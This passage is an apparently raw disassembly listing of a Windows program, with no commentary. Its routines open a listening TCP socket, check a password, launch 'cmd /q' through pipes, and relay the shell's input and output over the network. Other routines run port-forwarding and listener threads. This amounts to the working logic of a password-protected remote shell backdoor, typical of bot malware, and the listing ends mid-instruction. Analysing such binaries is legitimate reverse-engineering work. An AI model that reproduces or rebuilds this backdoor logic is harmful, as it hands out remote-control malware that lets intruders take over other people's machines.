--------------------------------------------------------------------------- loc_4106DF: ; CODE XREF: sub_41053C+14Ej call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_43473C ; "-" call sub_415221 pop ecx pop ecx loc_4106F2: ; CODE XREF: sub_41053C+44j ; sub_41053C+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_43E59C[eax] call dword_4CB6EC ; closesocket push [ebp+arg_0] call dword_4CB6EC ; closesocket push [ebp+var_4] call sub_40B413 pop ecx push edi call ds:dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_41053C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410723 proc near ; DATA XREF: sub_41053C+130o Dst = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41075A: ; CODE XREF: sub_410723+7Cj push edi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 0 push edi push eax push dword_43E5A0[esi] call dword_4CB66C ; recv test eax, eax jle short loc_4107A1 push 0 push eax lea eax, [ebp+Dst] push eax push dword_43E59C[esi] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_41075A loc_4107A1: ; CODE XREF: sub_410723+61j push dword_43E5A0[esi] call dword_4CB6EC ; closesocket push [ebp+var_14] call sub_40B413 pop ecx push 0 call ds:dword_4270CC ; ExitThread pop edi pop esi sub_410723 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107C0 proc near ; DATA XREF: sub_410A4E+1BEo var_3D4 = byte ptr -3D4h Str1 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h Dest = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch Args = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_43E59C[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4CB63C ; select test eax, eax jnz short loc_410844 push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push edi call ds:dword_4270CC ; ExitThread loc_410844: ; CODE XREF: sub_4107C0+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4CB66C ; recv lea eax, [ebp+Args] push 10h push eax push dword ptr [esi] call sub_4109C5 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_4109C5 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_4109C5 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4CB5A8 ; getpeername test eax, eax jz short loc_4108BD call dword_4CB5E8 ; WSAGetLastError push eax ; Args push offset asc_434854 ; "-" call sub_415221 push [ebp+arg_0] call sub_40B413 add esp, 0Ch push edi call ds:dword_4270CC ; ExitThread loc_4108BD: ; CODE XREF: sub_4107C0+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4CB60C ; gethostbyaddr cmp eax, edi jnz short loc_4108E7 push [ebp+var_18] call dword_4CB6E0 ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf jmp short loc_4108F5 ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_4107C0+10Dj push dword ptr [eax] ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy loc_4108F5: ; CODE XREF: sub_4107C0+125j pop ecx pop ecx push edi push ebx push offset byte_43D808 push dword ptr [esi] call dword_4CB6A4 ; send cmp dword_4CE3B8, edi jnz short loc_410957 push [ebp+var_18] lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Args] push eax ; Args call sub_410A1F add esp, 10h test eax, eax jnz short loc_410957 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CB6A4 ; send push dword ptr [esi] call dword_4CB6EC ; closesocket push [ebp+arg_0] call sub_40B413 pop ecx push edi call ds:dword_4270CC ; ExitThread loc_410957: ; CODE XREF: sub_4107C0+14Cj ; sub_4107C0+16Dj lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset asc_434818 ; "-" call sub_415221 push [ebp+arg_0] call sub_410CD6 add esp, 10h test eax, eax jnz short loc_41099E call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_4347EC ; "-" call sub_415221 push [ebp+arg_0] call sub_40B413 add esp, 0Ch push ebx call ds:dword_4270CC ; ExitThread loc_41099E: ; CODE XREF: sub_4107C0+1B9j lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset asc_4347C0 ; "-" call sub_415221 push [ebp+arg_0] call sub_40B413 add esp, 10h push edi call ds:dword_4270CC ; ExitThread sub_4107C0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C5 proc near ; CODE XREF: sub_4107C0+9Ap ; sub_4107C0+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB66C ; recv cmp eax, 1 jnz short loc_410A15 mov esi, [ebp+arg_4] loc_4109E3: ; CODE XREF: sub_4109C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A0A test al, al jz short loc_410A19 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB66C ; recv cmp eax, 1 jz short loc_4109E3 jmp short loc_410A15 ; --------------------------------------------------------------------------- loc_410A0A: ; CODE XREF: sub_4109C5+27j push offset asc_434880 ; "-" call sub_415221 pop ecx loc_410A15: ; CODE XREF: sub_4109C5+19j ; sub_4109C5+43j xor eax, eax jmp short loc_410A1C ; --------------------------------------------------------------------------- loc_410A19: ; CODE XREF: sub_4109C5+2Bj push 1 pop eax loc_410A1C: ; CODE XREF: sub_4109C5+52j pop esi leave retn sub_4109C5 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_410A1F(char *Args,int,char *Str1) sub_410A1F proc near ; CODE XREF: sub_4107C0+163p Args = dword ptr 4 arg_4 = dword ptr 8 Str1 = dword ptr 0Ch push [esp+Args] ; Str2 push [esp+4+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_410A4A push [esp+arg_4] push [esp+4+Args] ; Args push offset asc_4348AC ; "-" call sub_415221 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A4A: ; CODE XREF: sub_410A1F+11j push 1 pop eax retn sub_410A1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A4E proc near ; DATA XREF: sub_401ACD+23D5o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h Source = byte ptr -414h var_214 = dword ptr -214h Str = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h Dst = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4CB5C4 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_410AA7 push eax ; Args push offset asc_434A1C ; "-" call sub_415221 push [ebp+var_4C] call sub_40B413 add esp, 0Ch push edi call ds:dword_4270CC ; ExitThread loc_410AA7: ; CODE XREF: sub_410A4E+3Aj push edi push offset loc_410CCC call ds:dword_427120 ; SetConsoleCtrlHandler test eax, eax jnz short loc_410AE0 call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_4349D8 ; "-" call sub_415221 pop ecx pop ecx call dword_4CB5AC ; WSACleanup push [ebp+var_4C] call sub_40B413 pop ecx push edi call ds:dword_4270CC ; ExitThread loc_410AE0: ; CODE XREF: sub_410A4E+67j push ebx push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_50] call dword_4CB654 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4CB6D4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410C57 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_43E59C[eax], ebx lea eax, [ebp+Dst] push eax push ebx call dword_4CB680 ; bind test eax, eax jnz loc_410C57 push 7FFFFFFFh push ebx call dword_4CB67C ; listen test eax, eax jnz loc_410C57 push offset unk_43499C mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_4151AD pop ecx mov [ebp+arg_0], edi loc_410B6F: ; CODE XREF: sub_410A4E+15Aj ; sub_410A4E+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4CB6E8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_410C5A push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4CB634 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_410B6F movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_434958 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_4151AD push edi ; int lea eax, [ebp+Source] push 9 ; int push eax ; Source call sub_40B0F7 mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_43E594[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_4107C0 lea eax, [ebp+var_10] push esi push eax call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_43E5A4[ecx], eax jz short loc_410C42 loc_410C2F: ; CODE XREF: sub_410A4E+1F2j cmp [ebp+var_38], esi jnz loc_410B6F push 32h call ds:dword_427078 ; Sleep jmp short loc_410C2F ; --------------------------------------------------------------------------- loc_410C42: ; CODE XREF: sub_410A4E+1DFj call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_43491C ; "-" call sub_415221 pop ecx pop ecx jmp short loc_410C5A ; --------------------------------------------------------------------------- loc_410C57: ; CODE XREF: sub_410A4E+C8j ; sub_410A4E+ECj ... mov edi, [ebp+arg_0] loc_410C5A: ; CODE XREF: sub_410A4E+13Cj ; sub_410A4E+207j call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Source] push offset asc_4348E4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_410C9A push esi ; int lea eax, [ebp+Source] push [ebp+var_40] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409A73 add esp, 14h loc_410C9A: ; CODE XREF: sub_410A4E+22Aj lea eax, [ebp+Source] push eax call sub_4151AD pop ecx push edi call dword_4CB6EC ; closesocket push ebx call dword_4CB6EC ; closesocket call dword_4CB5AC ; WSACleanup push [ebp+var_4C] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread pop ebx loc_410CCC: ; DATA XREF: sub_410A4E+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_410A4E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD6 proc near ; CODE XREF: sub_4107C0+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E27 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E59C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, ds:dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF9 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_410D41 call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_434A7C ; "-" call sub_415221 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7B ; --------------------------------------------------------------------------- loc_410D41: ; CODE XREF: sub_410CD6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AB lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_410D82 call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_434A7C ; "-" call sub_415221 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_4270AC ; TerminateThread loc_410D7B: ; CODE XREF: sub_410CD6+69j xor eax, eax jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410D82: ; CODE XREF: sub_410CD6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call ds:dword_427124 ; WaitForMultipleObjects sub eax, ebx jz short loc_410DDC dec eax jz short loc_410DD6 dec eax jz short loc_410DC2 call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_434A48 ; "-" call sub_415221 pop ecx pop ecx jmp short loc_410DF1 ; --------------------------------------------------------------------------- loc_410DC2: ; CODE XREF: sub_410CD6+D5j mov edi, ds:dword_4270AC push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_410DF1 ; --------------------------------------------------------------------------- loc_410DD6: ; CODE XREF: sub_410CD6+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DE0 ; --------------------------------------------------------------------------- loc_410DDC: ; CODE XREF: sub_410CD6+CFj push ebx push dword ptr [esi+14h] loc_410DE0: ; CODE XREF: sub_410CD6+104j call ds:dword_4270AC ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_4270F0 ; TerminateProcess loc_410DF1: ; CODE XREF: sub_410CD6+EAj ; sub_410CD6+FEj push dword ptr [esi+10h] mov edi, ds:dword_427068 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4CB6EC ; closesocket push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E22: ; CODE XREF: sub_410CD6+A7j pop edi pop esi pop ebx leave retn sub_410CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E27 proc near ; CODE XREF: sub_410CD6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h ; Size mov [ebp+var_4], edi mov [ebp+var_8], edi call _malloc mov esi, eax pop ecx cmp esi, edi jz loc_410F11 mov ebx, ds:dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:dword_427068 test eax, eax jnz short loc_410E8A call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_434B2C jmp short loc_410EAA ; --------------------------------------------------------------------------- loc_410E8A: ; CODE XREF: sub_410E27+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_410EB2 call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_434AEC ; "-" loc_410EAA: ; CODE XREF: sub_410E27+61j call sub_415221 pop ecx jmp short loc_410EE0 ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_410E27+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F20 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_410F15 push offset unk_434AC4 call sub_4151AD loc_410EE0: ; CODE XREF: sub_410E27+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEC push [ebp+var_4] call edi ; CloseHandle loc_410EEC: ; CODE XREF: sub_410E27+BEj cmp [ebp+var_8], 0 jz short loc_410EF7 push [ebp+var_8] call edi ; CloseHandle loc_410EF7: ; CODE XREF: sub_410E27+C9j mov eax, [esi] test eax, eax jz short loc_410F00 push eax call edi ; CloseHandle loc_410F00: ; CODE XREF: sub_410E27+D4j mov eax, [esi+4] test eax, eax jz short loc_410F0A push eax call edi ; CloseHandle loc_410F0A: ; CODE XREF: sub_410E27+DEj push esi call sub_41B0B1 pop ecx loc_410F11: ; CODE XREF: sub_410E27+1Dj xor eax, eax jmp short loc_410F1B ; --------------------------------------------------------------------------- loc_410F15: ; CODE XREF: sub_410E27+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1B: ; CODE XREF: sub_410E27+ECj pop edi pop esi pop ebx leave retn sub_410E27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F20 proc near ; CODE XREF: sub_410E27+94p Dst = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_4], esi call _memset push 10h ; Size lea eax, [ebp+var_14] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+Dst], edi mov edi, ds:dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_4270F4 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+Dst] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_42706C ; CreateProcessA test eax, eax jz short loc_410FDC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E598[eax], ecx call ds:dword_427068 ; CloseHandle jmp short loc_410FF2 ; --------------------------------------------------------------------------- loc_410FDC: ; CODE XREF: sub_410F20+9Aj call ds:dword_42708C ; RtlGetLastWin32Error push eax ; Args push offset asc_434B6C ; "-" call sub_415221 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF2: ; CODE XREF: sub_410F20+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF9 proc near ; DATA XREF: sub_410CD6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411022: ; CODE XREF: sub_410FF9+8Fj call ebx ; ReadFile test eax, eax jz short loc_41108A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105D loc_411033: ; CODE XREF: sub_410FF9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104D cmp dl, 0Dh jz short loc_41104D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104D: ; CODE XREF: sub_410FF9+44j ; sub_410FF9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411033 loc_41105D: ; CODE XREF: sub_410FF9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CB6A4 ; send test eax, eax jle short loc_41108A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411022 ; --------------------------------------------------------------------------- loc_41108A: ; CODE XREF: sub_410FF9+2Dj ; sub_410FF9+79j mov esi, ds:dword_42708C call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_4110A6 call esi ; RtlGetLastWin32Error push eax ; Args push offset asc_434BAC ; "-" call sub_415221 pop ecx pop ecx loc_4110A6: ; CODE XREF: sub_410FF9+9Cj pop edi pop esi pop ebx leave retn sub_410FF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AB proc near ; DATA XREF: sub_410CD6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C4: ; CODE XREF: sub_4110AB+39j ; sub_4110AB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB66C ; recv test eax, eax jle loc_4111C9 cmp [ebp+var_10], ebx jbe short loc_4110E6 dec [ebp+var_10] jmp short loc_4110C4 ; --------------------------------------------------------------------------- loc_4110E6: ; CODE XREF: sub_4110AB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411156 cmp al, 7Fh jz short loc_411156 cmp al, 3 jnz short loc_411111 push ebx push ebx call ds:dword_427128 ; GenerateConsoleCtrlEvent jmp short loc_41117D ; --------------------------------------------------------------------------- loc_411111: ; CODE XREF: sub_4110AB+5Aj cmp al, 15h jnz short loc_411133 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411169 ; --------------------------------------------------------------------------- loc_411133: ; CODE XREF: sub_4110AB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_41116A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411169 ; --------------------------------------------------------------------------- loc_411156: ; CODE XREF: sub_4110AB+52j ; sub_4110AB+56j cmp esi, ebx jbe short loc_411180 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411169: ; CODE XREF: sub_4110AB+86j ; sub_4110AB+A9j pop ecx loc_41116A: ; CODE XREF: sub_4110AB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CB6A4 ; send test eax, eax jle short loc_4111C9 loc_41117D: ; CODE XREF: sub_4110AB+64j mov al, byte ptr [ebp+arg_0+3] loc_411180: ; CODE XREF: sub_4110AB+ADj cmp al, 0Dh jnz loc_4110C4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_4270E0 ; WriteFile test eax, eax jz short loc_4111C9 xor esi, esi jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111A9: ; CODE XREF: sub_4110AB+47j cmp [ebp+var_C], ebx jnz short loc_4111BA mov [ebp+var_C], 1 jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111BA: ; CODE XREF: sub_4110AB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C4 ; --------------------------------------------------------------------------- loc_4111C9: ; CODE XREF: sub_4110AB+2Bj ; sub_4110AB+D0j ... pop edi pop esi pop ebx leave retn sub_4110AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111CE proc near ; DATA XREF: sub_401ACD+2C08o Source = byte ptr -2D4h var_D4 = dword ptr -0D4h Str = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_40] call dword_4CB654 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4CB6D4 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_43E59C[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4CB680 ; bind test eax, eax jnz loc_411370 push 0Ah push edi call dword_4CB67C ; listen test eax, eax jnz loc_411370 push [ebp+var_40] push [ebp+var_D4] call sub_40AC10 pop ecx push eax lea eax, [ebp+Source] push offset asc_42BFB8 ; "-" push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_30], esi jnz short loc_4112A9 push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_409A73 add esp, 14h loc_4112A9: ; CODE XREF: sub_4111CE+B9j ; sub_4111CE+172j ... lea eax, [ebp+Source] push eax call sub_4151AD pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4CB6E8 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_434C58 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 19h ; int push eax ; Source call sub_40B0F7 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_43E594[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_4113D3 push esi push esi call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_43E5A4[ecx], eax jz short loc_411350 loc_41133D: ; CODE XREF: sub_4111CE+180j cmp [ebp+var_28], esi jnz loc_4112A9 push 5 call ds:dword_427078 ; Sleep jmp short loc_41133D ; --------------------------------------------------------------------------- loc_411350: ; CODE XREF: sub_4111CE+16Dj call 